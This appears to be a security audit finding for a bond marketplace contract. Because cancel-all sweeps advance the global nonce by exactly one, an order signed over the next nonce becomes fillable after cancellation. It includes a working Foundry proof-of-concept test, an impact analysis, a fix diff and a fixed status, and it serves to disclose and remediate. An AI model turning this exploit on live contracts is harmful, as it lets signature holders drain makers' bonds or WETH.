Cancel-all activates orders signed for the next global nonce instead of invalidating them
cancelAllListings and cancelAllOffers are documented as safe sweeps that invalidate every order for the caller.
Affected files
Description
cancelAllListings and cancelAllOffers are documented as safe sweeps that invalidate every order for the caller. Fills require the signed global nonce to equal the stored value, but each sweep changes that value to exactly current + 1. A signature over the next global nonce is therefore invalid before the sweep and valid immediately afterward.
This requires the maker to sign a future global nonce. The documented signing steps require the current per-bond nonce but do not say to read and sign the current global nonce, so a malicious or faulty signing interface can supply G + 1. The maker still authorized the signed trade terms; the defect is that the documented recovery action activates that authorization instead of revoking it.
Vulnerable Scenario: The following steps help understand the issue:
- A maker signs an order whose
globalNonceis the stored value plus one (e.g. supplied by a faulty or malicious signing interface); it cannot be filled yet. - The maker calls
cancelAllListings/cancelAllOffersto invalidate everything it signed. - The sweep sets the stored global nonce to exactly the signed value.
- Anyone holding the signature fills it on the signed terms.
Impact
If a maker signs an order at G + 1 and then relies on cancel-all, the signature holder can irreversibly sell the maker's bond or spend its WETH on the signed adverse terms.
PoC
Add to test/unit/ and run forge test --match-path test/unit/CancelAllArmsNextNonce.t.sol -vv. It uses the repository's own CofferMarketplaceTest fixture.
// SPDX-License-Identifier: BUSL-1.1pragma solidity 0.8.34;import {CofferMarketplaceTest} from "./CofferMarketplace.t.sol";contract CancelAllArmsNextNonce is CofferMarketplaceTest {function test_cancelAllListingsArmsASignatureForTheNextGlobalNonce() public {// A listing at a fraction of the bond's value, signed for the NEXT global nonce. It cannot be// filled today, so it looks harmless to the seller and to any transaction simulation.uint128 price = 0.1 ether;uint64 exp = uint64(block.timestamp + 30 days);uint256 nextGlobal = marketplace.sGlobalListingNonce(seller) + 1;bytes memory sig = _signListing(SELLER_PK, bondId, price, 1 ether, exp, 0, nextGlobal);uint256 fee = (1 ether - uint256(price)) * 900 / 10_000;vm.prank(buyer);vm.expectRevert();marketplace.buySignedListing{value: price + fee}(bondId, seller, price, 1 ether, exp, 0, nextGlobal, sig);// The seller runs the documented safe sweep to invalidate everything it may have signed.vm.prank(seller);marketplace.cancelAllListings();// The sweep moved the global nonce onto the signed value and armed the listing.uint256 sellerBefore = seller.balance;vm.prank(buyer);marketplace.buySignedListing{value: price + fee}(bondId, seller, price, 1 ether, exp, 0, nextGlobal, sig);assertEq(bondNft.ownerOf(bondId), buyer, "bond sold after the seller's cancel-all");assertEq(seller.balance - sellerBefore, price, "seller receives 0.1 ETH for a 1 ETH bond");}function test_cancelAllOffersArmsASignatureForTheNextGlobalNonce() public {// An offer far above the bond's value, signed for the NEXT global offer nonce.uint128 amount = 3 ether;uint64 exp = uint64(block.timestamp + 30 days);uint256 nextGlobal = marketplace.sGlobalOfferNonce(buyer) + 1;bytes memory sig = _signOffer(BUYER_PK, bondId, amount, 1 ether, exp, 0, nextGlobal);vm.prank(seller);vm.expectRevert();marketplace.acceptSignedOffer(bondId, buyer, amount, 1 ether, exp, 0, nextGlobal, sig);vm.prank(buyer);marketplace.cancelAllOffers();uint256 buyerWethBefore = weth.balanceOf(buyer);vm.prank(seller);marketplace.acceptSignedOffer(bondId, buyer, amount, 1 ether, exp, 0, nextGlobal, sig);assertEq(bondNft.ownerOf(bondId), buyer, "offer filled after the buyer's cancel-all");assertEq(buyerWethBefore - weth.balanceOf(buyer), amount, "buyer pays 3 WETH for a 1 ETH bond");}}
Output at 9262181:
[PASS] test_cancelAllListingsArmsASignatureForTheNextGlobalNonce() (gas: 154900)
[PASS] test_cancelAllOffersArmsASignatureForTheNextGlobalNonce() (gas: 179163)
With the recommended change applied, both tests revert at the fill (ListingRevoked() / OfferRevoked()).
Recommendations
Treat the global nonce as an opaque epoch and move it to a value that was unpredictable when an existing signature was produced. For example:
function cancelAllListings() external {- uint256 newGlobalNonce = ++sGlobalListingNonce[msg.sender];+ uint256 newGlobalNonce =+ uint256(keccak256(abi.encode(msg.sender, block.prevrandao, sGlobalListingNonce[msg.sender])));+ sGlobalListingNonce[msg.sender] = newGlobalNonce;emit AllListingsCancelled(msg.sender, newGlobalNonce);}
Apply the same change to cancelAllOffers and to the per-bond cancels (cancelListing, cancelListings, cancelOffer, cancelOffers), which also advance their nonce by exactly one. Document that makers must sign both the current per-bond nonce and the current global nonce. The tradeoff is that integrations and tests must read the emitted or stored nonce instead of assuming it increases by one.
Mitigation
Fixed. Commit 65a9286 moves every global and per-bond cancellation nonce forward by one plus an unpredictable 128-bit step derived from the caller, block.prevrandao and the current nonce. Existing signatures cannot anticipate the post-cancellation value. The client added regression and fuzz tests covering all six cancellation functions. The final marketplace head passed build, test, lint and Slither checks.
Report provenance
Source: the corrected final report dated 22 October 2026. Final status and residual conditions are preserved in this write-up. Read the full report.